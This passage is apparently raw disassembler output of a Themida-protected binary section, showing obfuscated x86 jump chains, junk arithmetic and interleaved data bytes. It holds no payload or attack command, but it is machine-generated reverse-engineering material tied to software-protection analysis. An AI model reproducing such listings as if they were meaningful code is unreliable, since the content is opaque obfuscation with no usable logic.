; ---------------------------------------------------------------------------


loc_55D788:				; CODE XREF: Themida_:0055781Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5581EF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 9825E951h, 0D689FFFFh, 0FFDF24E9h, 5AF028FFh, 4EC8159h
		dd 89000000h, 7682404h,	8900000Eh, 1DB22414h, 0FF98AEE9h
		dd 243C33FFh, 33243C31h, 665C243Ch, 3BE930FFh, 81FFFF50h
		dd 4C7h, 4C78300h, 0FFCE2DE9h, 0E38953FFh, 4C381h, 87E90000h
		dd 89FFFFD4h, 20BA2414h, 0C1223769h, 0C28103EAh, 19B07FE2h
		dd 0A3BA5250h, 564C7232h, 0FF78B0E9h, 1C183FFh,	0F181D1F7h
		dd 0B2A11D8Dh, 50E9CE29h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D81F:				; CODE XREF: Themida_:00552833j
		add	edi, ecx
		sub	edi, 3C0D5B90h
		pop	ecx
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55BC9A
; ---------------------------------------------------------------------------
		dd 3CB9F681h, 29E97CABh, 59FFFF9Ch, 4C181h, 17680000h
		dd 89000010h, 2BA2414h,	81000000h, 7F45B7C1h, 0B20CE92Ch
		dd 8759FFFFh, 4E92414h,	87FFFFECh, 60E9241Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D86F:				; CODE XREF: Themida_:00558C62j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55CE78
; ---------------------------------------------------------------------------


loc_55D878:				; CODE XREF: Themida_:00558438j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		dd 0E87DE9C3h, 29BFFFFFh, 29305B57h, 243C8BFEh,	4C481h
		dd 0EE810000h, 776E2DFh, 3A4BA52h, 0D129573Bh, 81F1015Ah
		dd 3B03A4C1h, 73685E57h, 89000027h, 2BF243Ch, 0E9000000h
		dd 0FFFFA32Dh, 5C24048Fh, 0E9C8AF0Fh, 0FFFFABB2h, 375768h
		dd 24048900h, 42474FFh,	0FFF6C4E9h, 2474FFFFh, 2434FF04h
		dd 4C4835Fh, 0FF57ADE9h, 0CE2966FFh, 81665966h,	6673F8C6h
		dd 0D55DC681h, 0C1B2D66h, 451B2D66h, 66F00166h,	66451B05h
		dd 0E90C1B05h, 0FFFF7A36h, 8B240487h, 0A2682424h, 0E9000040h
		dd 0FFFFA396h, 7377F581h, 0C5815A04h, 0DAA4F37Ch, 565DEF01h
		dd 4C4201BEh, 0C1DEF77Bh, 0C68102E6h, 0FFFFFFFFh, 0FF601CE9h
		dd 0F3E381FFh, 81533E54h, 1400A1F3h, 5BDA8902h,	0B5E9D001h
		dd 0FEFFFFEDh, 32C680CEh, 0FFFE40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D965:				; CODE XREF: Themida_:00558445j
		pop	edx
		neg	esi
		shl	esi, 1
		sub	esi, 2ECD7B8Dh
		sub	esi, 91FDDA93h
		jmp	loc_55BBF3
; ---------------------------------------------------------------------------


loc_55D97B:				; CODE XREF: Themida_:005542D4j
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_559217
; ---------------------------------------------------------------------------
		db 2Dh
		dd 3E8F228Ch, 0CA67E95Bh, 8166FFFFh, 0E91513EAh, 0C00h
		dd 0EC6F47BBh, 3EBC103h, 2404FF53h, 0A9FEE95Bh,	15DFFFFh
		dd 0C1B850F9h, 0E96F771Ch, 0FFFFBB48h, 55E38953h, 86408668h
		dd 0C5815D20h, 2A825AEDh, 83D5E94Dh, 7A68FFFFh,	0E9000024h
		dd 0FFFFB799h
; ---------------------------------------------------------------------------


loc_55D9E0:				; CODE XREF: Themida_:0055C766j
		xor	ecx, 0A8BAB40Fh
		add	ebx, ecx
		pop	ecx
		mov	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 35211B33h
		and	esi, ebx
		pop	ebx
		xor	esi, 6C8E147Ah
		add	ebp, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_559020
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 28890FF6h, 0FF53E3E9h, 51FB01FFh, 0B9h, 53D90100h, 0E950C788h
		dd 0FFFF7FD1h
; ---------------------------------------------------------------------------


loc_55DA2C:				; CODE XREF: Themida_:0055D309j
		shr	eax, 0Bh
		xor	ecx, eax
		push	50ABh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	74B7h
		mov	[esp], eax
		jmp	loc_55CA3C
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 3AD56634h, 47AEEA81h, 0B9E96403h, 52FFFFB2h,	88C1B151h
		dd 0F8DBE9CAh, 0F66FFFFh, 9C2404B3h, 0FF4D95E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA79:				; CODE XREF: Themida_:00558D6Cj
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_557E80
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Bh, 0FF4D69E9h, 0F38158FFh, 2B03EC4h, 0E376C381h
		dd 0DA01862Eh, 0B40AE95Bh, 5866FFFFh, 8003E9C0h, 0C828B7F1h
		dd 81240C8Bh, 4C4h, 4C80000h, 0D5B353AFh, 0EBE9D828h, 68FFFF9Eh
		dd 715Ah, 0E9242C89h, 0FFFF779Ah
; ---------------------------------------------------------------------------


loc_55DAE8:				; CODE XREF: Themida_:00554F7Ej
		pop	esi
		add	ecx, eax
		jmp	loc_555571
; ---------------------------------------------------------------------------
		dd 0EC81E289h, 4, 0BE243489h, 3C831BCCh, 0DEF7DEF7h, 1BC8F681h
		dd 5CE93C83h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB0F:				; CODE XREF: Themida_:0055D738j
		mov	ebx, [esp]
		add	esp, 4
		neg	ebx
		push	edi
		mov	edi, 59171706h
		and	edi, 6434259Bh
		add	edi, 1
		jmp	loc_55E47A
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF9D68h, 335AD301h, 6BE9241Ch, 1FFFFEBh, 7B0DE9DFh
		dd 34FFFFFFh
		db 24h,	5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_556ACC
; ---------------------------------------------------------------------------
		dw 0E34h
		dd 6858C730h, 5D06h, 0B5240C89h, 0E9D5F664h, 0FFFF9F0Ah
; ---------------------------------------------------------------------------


loc_55DB68:				; CODE XREF: Themida_:00554AABj
		pop	esi
		jmp	loc_555DDD
; ---------------------------------------------------------------------------


loc_55DB6E:				; CODE XREF: Themida_:0055458Cj
		shr	dl, 8
		sub	dl, 5Dh
		add	dl, 0FFh
		add	bl, 14h
		jmp	loc_555292
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF786BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DB85:				; CODE XREF: Themida_:0055A114j
		not	edi
		not	edi
		xor	edi, 241E1744h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	edx, 1
		dec	edx
		sub	edx, 1
		jmp	loc_55BE3E
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 0FF5056E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DBB5:				; CODE XREF: Themida_:00559C7Cj
		push	64F7h
		mov	[esp], eax
		mov	eax, 15BF2F7Eh
		add	esi, eax
		pop	eax
		sub	esi, 1F5E1D68h
		neg	esi
		jmp	loc_553FDE
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 0CA80C2FEh, 4EAC000h, 449F280h, 0E9D0286Bh, 0FFFFF816h
; ---------------------------------------------------------------------------


loc_55DBE8:				; CODE XREF: Themida_:005555A3j
					; Themida_:0055A89Ej
		push	ebx
		push	dword ptr [esp]
		jmp	loc_5568BD
; ---------------------------------------------------------------------------


loc_55DBF1:				; CODE XREF: Themida_:00555997j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_554FD8
; ---------------------------------------------------------------------------
		dw 1489h
		dd 16824h, 34FF0000h, 2434FF24h, 0FF9BE1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC0D:				; CODE XREF: Themida_:0055AE6Cj
		mov	edi, [esp]
		jmp	loc_553FA5
; ---------------------------------------------------------------------------


loc_55DC15:				; CODE XREF: Themida_:005532CFj
		push	edx
		mov	edx, 4
		jmp	loc_558F4D
; ---------------------------------------------------------------------------


loc_55DC20:				; CODE XREF: Themida_:00559736j
		push	0
		sub	[esp], ebp
		jmp	loc_55A863
; ---------------------------------------------------------------------------


loc_55DC2D:				; CODE XREF: Themida_:00557734j
		dec	ebp
		xor	ebp, 65C34481h
		xor	ebp, 7E0F24F8h
		and	ebp, 59E10750h
		sub	ebp, 0EABA4026h
		sub	ecx, ebp
		pop	ebp
		mov	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 462565C8h
		and	esi, edi
		pop	edi
		sub	esi, 7D222E99h
		shl	esi, 4
		xor	esi, 90236AF4h
		jmp	loc_55943B
; ---------------------------------------------------------------------------
		db 2Dh,	54h, 15h
		dd 0B32D1D4Eh, 1261A05h, 0BB5358C1h, 7B945149h,	0FFAEF0E9h
		dd 0EE8159FFh, 4, 0E9243487h, 0FFFF51D3h, 68D831ADh, 33FFh
		dd 68243489h, 2878A336h, 8324348Bh, 88E904C4h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCAB:				; CODE XREF: Themida_:00558F4Fj
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_558E4A
; ---------------------------------------------------------------------------


loc_55DCB6:				; CODE XREF: Themida_:0055AA3Dj
		xor	ecx, ebx
		pop	ebx
		xor	edi, ecx
		pop	ecx
		jmp	loc_55B7A7
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		dd 0FFDB9EE9h, 4E883FFh, 5C240487h, 0BD242C89h,	4D2B4990h
		dd 89EB8953h, 34FF5BD8h, 29E95D24h, 81FFFFA3h, 4ECh, 240C8900h
		dd 0AE6BF57h, 0F98953E5h, 78EA815Fh, 29060D16h,	78C281CAh
		dd 0E9060D16h, 0FFFFCC46h, 57240C89h, 0FF618DE9h, 243433FFh
		dd 33243431h, 0E95C2434h, 0FFFF5059h, 83240489h, 1C8904ECh
		dd 67B96824h, 0F75B313Fh, 0CFF53DBh, 0D931E924h, 685AFFFFh
		dd 4BA0h, 68241C89h, 50BDh, 83242489h, 5B042404h, 4BE56h
		dd 0EB810000h, 70AA20C8h, 0C381F301h, 70AA20C8h, 0FFE5F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DD6D:				; CODE XREF: Themida_:00557903j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5543BD
; ---------------------------------------------------------------------------
		dd 24048F54h, 4240483h,	0A7BF575Dh, 816DF227h, 0E73B01E7h
		dd 0A6C7810Fh, 81445553h, 317031C7h, 7EC78121h,	0E9791A47h
		dd 0FFFF78B6h, 0B3241C89h, 0DAF380FBh, 0DBF6D3F6h, 0FF7929E9h
		dd 52E589FFh, 0C281E289h, 4, 0FF4F99E9h, 81D729FFh, 1E0388EFh
		dd 0E9C35A23h, 0FFFF4A36h, 24048B66h, 81E38953h, 4C3h
		dd 0D0ACE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DDEA:				; CODE XREF: Themida_:005546C8j
		pop	ebx
		jmp	loc_55A34F
; ---------------------------------------------------------------------------


loc_55DDF0:				; CODE XREF: Themida_:005591B4j
		xor	dword ptr [esp], 475620Eh
		pop	eax
		jmp	loc_55843D
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 1Fh
		dd 81000006h, 4C6h, 4C68300h, 0FF6F32E9h, 81E389FFh, 4C3h
		dd 0AE69E900h, 3C87FFFFh, 0AAE95C24h, 0F7FFFF97h, 0C3B951D3h
		dd 0C16D1A07h, 0C18103E9h, 0FC029BAh, 1C3CC381h, 0CB013C47h
		dd 0FF5EA3E9h, 4EC81FFh, 89000000h, 0E9542414h,	0FFFF7D07h
		dd 4E4C1ABFh, 0E9FBE96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE5E:				; CODE XREF: Themida_:00555AD7j
		or	eax, eax
		jz	loc_554E24
		push	dword ptr [edi+1Ch]
		push	eax
		jmp	loc_5558B2
; ---------------------------------------------------------------------------


loc_55DE6F:				; CODE XREF: Themida_:00552C43j
		inc	esi
		jmp	loc_556221
; ---------------------------------------------------------------------------
		db 68h,	24h, 9
		dd 0E9580CFFh, 0FFFF8A8Fh, 8146D6F7h, 3FEB00EEh, 0B590E9EBh
		dd 0C181FFFFh, 0B6F45AC9h, 34FFCE01h, 9A0DE924h, 8B66FFFFh
		dd 89502404h, 4BB53E0h,	0E9000000h, 0FFFF76DBh,	0C281D2F7h
		dd 0BE07146h, 48A5F281h, 0D589D413h, 0CABA525Ah, 421F3153h
		dd 1E86F281h, 0C6816CB7h, 63C92376h, 0FFBC25E9h, 284104FFh
		dd 0E9412CF0h, 0FFFFCA31h, 0EF675B2Dh, 0F0295E0Fh, 0FFF1F7E9h
		dd 4DEE81FFh, 5D73864Dh, 7FD6BB53h, 0E95727D5h,	0FFFF76EEh
		dd 31241433h, 14332414h, 0CFE5C24h, 0F7E99C24h,	81FFFF48h
		dd 0B80EC8EAh, 81F22974h, 0B80EC8C2h, 0E3E95E74h, 87FFFF48h
		dd 895C2404h, 85682414h, 0E900002Eh, 0FFFF9F61h, 9D1C77FFh
		dd 4185866h, 0C3E99C24h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF4B:				; CODE XREF: Themida_:00553D44j
		push	2872h
		mov	[esp], esi
		mov	esi, 5D5C4366h
		jmp	loc_5528DD
; ---------------------------------------------------------------------------
		db 29h,	5Ch, 24h
		dd 24448104h, 0BC79AA04h, 2C815B5Fh, 8334BA24h,	6845E92Eh
		dd 0E953FFFFh, 0FFFFAE63h, 4EC81h, 0C890000h, 0A2E95324h
		dd 5DFFFFB1h, 0FFDB21E9h, 815E58FFh, 315173EEh,	0EEC15D36h
		dd 0B0D7E903h, 0C89FFFFh, 0B0EEE924h, 57BBFFFFh, 0BD541938h
		dd 0D035438Eh, 55E9DD01h, 81FFFF74h, 0C311F2C5h, 0ABED813Ch
		dd 29089547h, 0CB015DEBh, 4830C381h, 0A2E9541Ah, 0D1FFFF63h
		dd 0ADF381E3h, 0E96BD703h, 0FFFF8D92h, 0EF22272Dh, 92A2D69h
		dd 0B3E9707Eh, 89FFFF96h, 0EA682414h, 89000033h, 4812424h
		dd 424h, 24148B00h, 4C481h, 0C2810000h,	4, 8904EC83h, 268241Ch
		dd 5B000000h, 0FF60BAE9h, 692D58FFh, 89BBD64Dh,	6AD6E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E032:				; CODE XREF: Themida_:0055C002j
		pop	edx
		and	edx, 3A4A5AB1h
		dec	edx
		jmp	loc_558DD2
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 75Eh, 0FF757BE9h,	5EF289FFh, 0FF94FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E055:				; CODE XREF: Themida_:0055C6CDj
		add	esp, 4
		shl	ebx, 8
		jmp	loc_5549F9
; ---------------------------------------------------------------------------
		dd 4906E9C1h, 0F181D9F7h, 0DD1AD683h, 5059CA31h, 9A50B6B8h
		dd 0E9C20101h, 0FFFFE0B2h, 0E92434FFh, 0FFFFB401h, 89D18951h
		dd 0E95A59CDh, 0FFFF56FAh, 648ABB53h, 0C3817DA7h, 4B03282Dh
		dd 8CB5EB81h, 0D831C069h, 4BEE9h, 5FF80900h, 0FF9C77E9h
		dd 0E80059FFh, 0E9D0B551h, 0FFFF77B8h, 4C38159h, 33000000h
		dd 1C31241Ch, 241C3324h, 8324248Bh, 545204C4h, 4C2815Ah
		dd 81000000h, 4EAh, 74FF5200h, 0E95A0424h, 0FFFFA554h
		dd 0E0C1D0F7h, 25D8F705h, 685371BCh, 0FFFF93E9h, 0E95166FFh
		dd 0FFFFAC40h, 5024348Bh, 405E089h, 83000000h, 48704C0h
		dd 0BA525C24h, 2, 685AD701h, 7AE6h, 0E9243C89h,	0FFFFF7ADh
		dd 9FBD5552h, 0E9480A12h, 0FFFFE2EAh, 0FE47B753h, 0C9E780CFh
		dd 0FEA2E780h, 9B1CE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E14A:				; CODE XREF: Themida_:0055E6BFj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55E6E0
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0FFE9D9E9h, 8E9C1FFh, 684DBA52h, 0C2810E6Ah,	202E1F60h
		dd 0FF958CE9h, 5E5C1FFh, 0B951D5F7h, 7E862046h,	0BD84F181h
		dd 0CD3115C1h, 49EA8159h, 29616514h, 49C281EAh,	8B616514h
		dd 0C481242Ch, 4, 0FF9B91E9h, 23EE81FFh, 8171EF44h, 5764C3EEh
		dd 0EC815809h, 4, 55241489h, 0E374DE68h, 242C8B00h, 4D04C483h
		dd 0FF623BE9h, 1C895CFFh, 3CBB24h, 46680000h, 89000008h
		dd 5FE92414h
		db 49h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1DF:				; CODE XREF: Themida_:00554203j
		mov	dl, 0F1h
		push	small 0
		jmp	loc_55859C
; ---------------------------------------------------------------------------
		dw 4840h
		dd 59E9D0F7h, 59FFFFDBh, 0FF879BE9h, 3EEC0FFh, 0C0E8B151h
		dd 0E98007E1h, 7DC1802Bh, 0FFA306E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E20D:				; CODE XREF: Themida_:0055BB17j
		sub	ecx, ebx
		pop	ebx
		pop	edi
		push	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ecx
		push	edx
		jmp	loc_554E8F
; ---------------------------------------------------------------------------


loc_55E223:				; CODE XREF: Themida_:00556F42j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_559AC2
; ---------------------------------------------------------------------------
		db 5Fh,	0F7h, 0D7h
		dd 0F581FD87h, 4197CADFh, 0FFA481E9h, 81E589FFh, 4C5h
		dd 4BB5300h, 29000000h,	75E95BDDh, 5BFFFFB9h, 65E9C0FEh
		dd 68FFFF5Fh, 6D56385Dh, 0FFF2015Eh, 575E2434h,	0C781E789h
		dd 4, 4C781h, 3C870000h, 520BE924h, 0E381FFFFh,	476A0530h
		dd 0E4E9D3F7h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2A7:				; CODE XREF: Themida_:00553FF9j
		mov	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5576B8
; ---------------------------------------------------------------------------
		db 5
		dd 4, 5004C083h, 42474FFh, 24048F58h, 241C8B5Ch, 0FF839EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E2D1:				; CODE XREF: Themida_:0055899Aj
		mov	eax, esp
		jmp	loc_55CD81
; ---------------------------------------------------------------------------


loc_55E2D8:				; CODE XREF: Themida_:0055C4C9j
		inc	edi
		add	edi, 8B63A402h
		mov	ebx, edi
		pop	edi
		jmp	loc_557F84
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 51000000h, 42474FFh,	24048F59h, 5951055Ch
		dd 81056B24h, 165EC2Ch,	2C812DD8h, 0B8E965ECh, 50FFFF7Ah
		dd 9B6A93B8h, 70B1E963h, 835FFFFFh, 0C3302C1h, 240C3124h
		dd 5C240C33h, 2424D366h, 44D8E99Ch, 0F66FFFFh, 0DA6802B6h
		dd 8900004Ch, 96E9243Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E347:				; CODE XREF: Themida_:0055AE75j
		push	edi
		mov	edi, 31E80B34h
		push	edx
		mov	edx, 0CE1834CCh
		jmp	loc_552883
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0C38304C4h, 241C8704h, 0FF78D1E9h, 241C89FFh
		dd 38BBh, 0F6A3E900h, 8141FFFFh, 0EB6EBBE1h, 342E91Ch
		dd 0FF660000h, 0E9022474h, 0FFFFD7EBh, 2EC81h, 89660000h
		dd 0CEE9243Ch, 0C1000002h, 0C78105E7h, 69FD8024h, 15FF889h
		dd 0BA5258C7h, 4, 0F1E9D701h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3B7:				; CODE XREF: Themida_:0055B742j
		add	ebx, 5243A60h
		dec	ebx
		shr	ebx, 8
		add	ebx, 0FFF95ECBh
		add	eax, ebx
		pop	ebx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		push	6EA8h
		mov	[esp], edx
		sub	esp, 4
		push	4671h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_552BFA
; ---------------------------------------------------------------------------


loc_55E407:				; CODE XREF: Themida_:00556D71j
		shl	al, 5
		shr	al, 3
		neg	al
		push	dx
		mov	dl, 8Eh
		jmp	loc_55D117
; ---------------------------------------------------------------------------
		dd 24048B66h, 0F997E955h, 0E7E9FFFFh
		db 43h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E427:				; CODE XREF: Themida_:00556E52j
		and	ecx, 1F173984h
		add	ecx, 1DE41D98h
		sub	esi, ecx
		pop	ecx
		or	edi, esi
		pop	esi
		jmp	loc_5533C6
; ---------------------------------------------------------------------------


loc_55E43E:				; CODE XREF: Themida_:005577CCj
		push	61D4h
		mov	[esp], edi
		mov	edi, 2000h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_55A3F7
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 74E9E789h, 87FFFFF3h, 815C243Ch, 3E7E23EBh, 0E9D8319Ah
		dd 0FFFF625Dh, 240C8B66h, 0C90FE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E47A:				; CODE XREF: Themida_:0055DB29j
		sub	edi, 1
		or	edi, 6D9E4A98h
		sub	edi, 53654DBAh
		xor	ebx, edi
		pop	edi
		jmp	loc_55784B
; ---------------------------------------------------------------------------


loc_55E491:				; CODE XREF: Themida_:005589F4j
		pop	edx
		jmp	loc_553252
; ---------------------------------------------------------------------------


loc_55E497:				; CODE XREF: Themida_:00559F1Cj
		push	ecx
		mov	ecx, 1DDC714Dh
		shl	ecx, 8
		push	esi
		mov	esi, 0FFFFFFFFh
		add	ecx, esi
		pop	esi
		push	ebx
		mov	ebx, 6BB12D42h
		xor	ebx, 2FC173C9h
		or	ebx, 396223ABh
		not	ebx
		sub	ebx, 7EAB255Ah
		not	ebx
		add	ebx, 639932Ah
		not	ebx
		xchg	edx, ebx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		jmp	loc_552BB7
; ---------------------------------------------------------------------------
		dw 0BAh
		dd 8176772Bh, 482529CAh, 0F1D4E90Fh, 34FFFFFFh,	24048B24h
		dd 0E904C483h, 0FFFF8EAFh, 4AFDF181h, 0D1F76B7Eh, 0FFFB5BE9h
		dd 12C281FFh, 815A2D05h, 0FF1959E2h, 0C4C2817Dh, 1A614FEh
		dd 0C5835AD5h, 242C8704h, 0A4E9535Ch, 2DFFFFA1h, 1BE53C0Ch
		dd 2BE95950h, 81FFFFDDh, 715BCAEBh, 81D32910h, 715BCAC3h
		dd 0E9515A10h, 0FFFF9981h, 8B24048Fh, 1662424h,	0E99C2404h
		dd 0FFFF42B6h
; ---------------------------------------------------------------------------


loc_55E558:				; CODE XREF: Themida_:00558B6Cj
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_554F5A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 5735B850h, 0C101264Eh, 0C33AE958h, 0C31FFFFh
		dd 240C3324h, 0E924248Bh, 0FFFF5647h, 4EB81h, 1C330000h
		dd 241C3124h, 0E9241C33h, 0FFFF4CF3h, 0BD665566h, 296631FAh
		dd 4AA3E9EAh, 0C183FFFFh, 240C8704h, 0FFC119E9h, 4AB7FFh
		dd 7B18E9C7h, 0F029FFFFh, 0FFF91BE9h, 0E9DE31FFh, 0FFFF60D6h
		dd 0B1B1515Ah, 0E9BFB753h, 0FFFFB5FAh, 0AF0694B9h, 0E35BE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E5E6:				; CODE XREF: Themida_:00556B1Dj
		xor	esi, 73BD47F8h
		and	esi, 35340130h
		sub	esi, 1
		jmp	loc_55B652
; ---------------------------------------------------------------------------
		dw 5758h
		dd 0FFE7D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E601:				; CODE XREF: Themida_:00559ADFj
		mov	[esp], edx
		push	ecx
		push	187E17D4h
		pop	ecx
		shl	ecx, 4
		xor	ecx, 50AE56D1h
		and	ecx, 6EB5322Ah
		add	ecx, 0B9FADE1Ch
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6BB07BF5h
		or	ebx, 7F812ED8h
		jmp	loc_553356
; ---------------------------------------------------------------------------


loc_55E639:				; CODE XREF: Themida_:00559927j
		mov	[esp], ebx
		inc	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_554996
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 510E6824h, 2C890000h, 34FF5424h, 242C8B24h, 0FF9944E9h
		dd 74FF66FFh, 8B660224h, 0FFE9243Ch, 59FFFF7Ch,	643AE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: Themida_:005533C7j
		mov	eax, 6E4C700Ah
		sub	eax, 412574CDh
		xor	eax, 0D2D904C2h
		add	edi, eax
		jmp	loc_55873E
; ---------------------------------------------------------------------------


loc_55E694:				; CODE XREF: Themida_:005599EBj
		mov	ebp, [esp]
		push	edi
		jmp	loc_5541D4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF9941h
; ---------------------------------------------------------------------------


loc_55E6A8:				; CODE XREF: Themida_:005569A7j
		add	esp, 4
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55E14A
; ---------------------------------------------------------------------------
		dd 0F025C181h, 0CE8934B8h, 0FF50A8E9h, 241431FFh, 5C241433h
		dd 0E9240489h, 0FFFF77EFh
; ---------------------------------------------------------------------------


loc_55E6E0:				; CODE XREF: Themida_:0055E150j
		mov	ebp, 62C20180h
		dec	ebp
		add	ebp, 49D66C53h
		jmp	loc_556F32
; ---------------------------------------------------------------------------
		align 2
		dw 0E9D0h
		dd 0FFFF651Dh, 53242C8Bh, 0C381E389h, 4, 8704C383h, 815C241Ch
		dd 0BC6E46EEh, 2EE8141h, 112D104h, 2C681CEh, 8112D104h
		dd 0BC6E46C6h, 0BD555941h, 4, 0FF9D98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E731:				; CODE XREF: Themida_:0055CEE8j
		add	esp, 4
		sub	eax, 20A365A4h
		push	ebx
		push	ebp
		mov	ebp, 33705DE0h
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 8
		push	edx
		push	15553253h
		jmp	loc_559637
; ---------------------------------------------------------------------------
		db 2 dup(47h), 81h
		dd 4D7471F7h, 5FF9015Dh, 4E981h, 0C330000h, 5828E924h
		dd 0B951FFFFh, 41451638h, 47B8C181h, 0E1C14069h, 0BC98104h
		dd 0E91C891Dh, 0FFFFFBF2h, 0E9240431h, 0FFFFB8C7h
; ---------------------------------------------------------------------------


loc_55E78C:				; CODE XREF: Themida_:005568B8j
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_559374
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 8950240Ch, 0FB0DE9E0h, 0ECE9FFFFh, 99B1004Fh, 8DB0005Bh
		dd 4CF63610h, 0A7B30023h, 0AF41005Bh, 0AA1C0054h, 217F9AEh
		dd 20000h, 10000h, 30000h, 0AA1C0000h, 0F9AEh, 4 dup(0)
		dd 0DCBA0000h, 5A3B0056h, 394E0056h, 0EEC10057h, 8E200056h
		dd 0D41F0056h, 0F6E60056h, 62660055h, 0F9470056h, 90890055h
		dd 0E8AC0056h, 91370056h, 7FC0056h, 55F90056h, 0A32E0056h
		dd 0DB0F0056h, 0DF5C0056h, 52760056h, 2B0B0056h, 0BB2E0056h
		dd 73600056h, 0A22A0056h, 18490056h, 96730056h,	240E0056h
		dd 0A2A80056h, 71990056h, 0A1860056h, 0B0370056h, 67C70056h
		dd 5BC20056h, 68150056h, 0E9C90056h, 0F8AA0056h, 9C710056h
		dd 2C7A0056h, 0CAD70057h, 1E010056h, 4A030056h,	6CA40056h
		dd 0C3200056h, 0FD90056h, 0C7420056h, 0F64F0056h, 0F6E10056h
		dd 146E0056h, 0A3D50056h, 89D80056h, 0D6730056h, 917E0056h
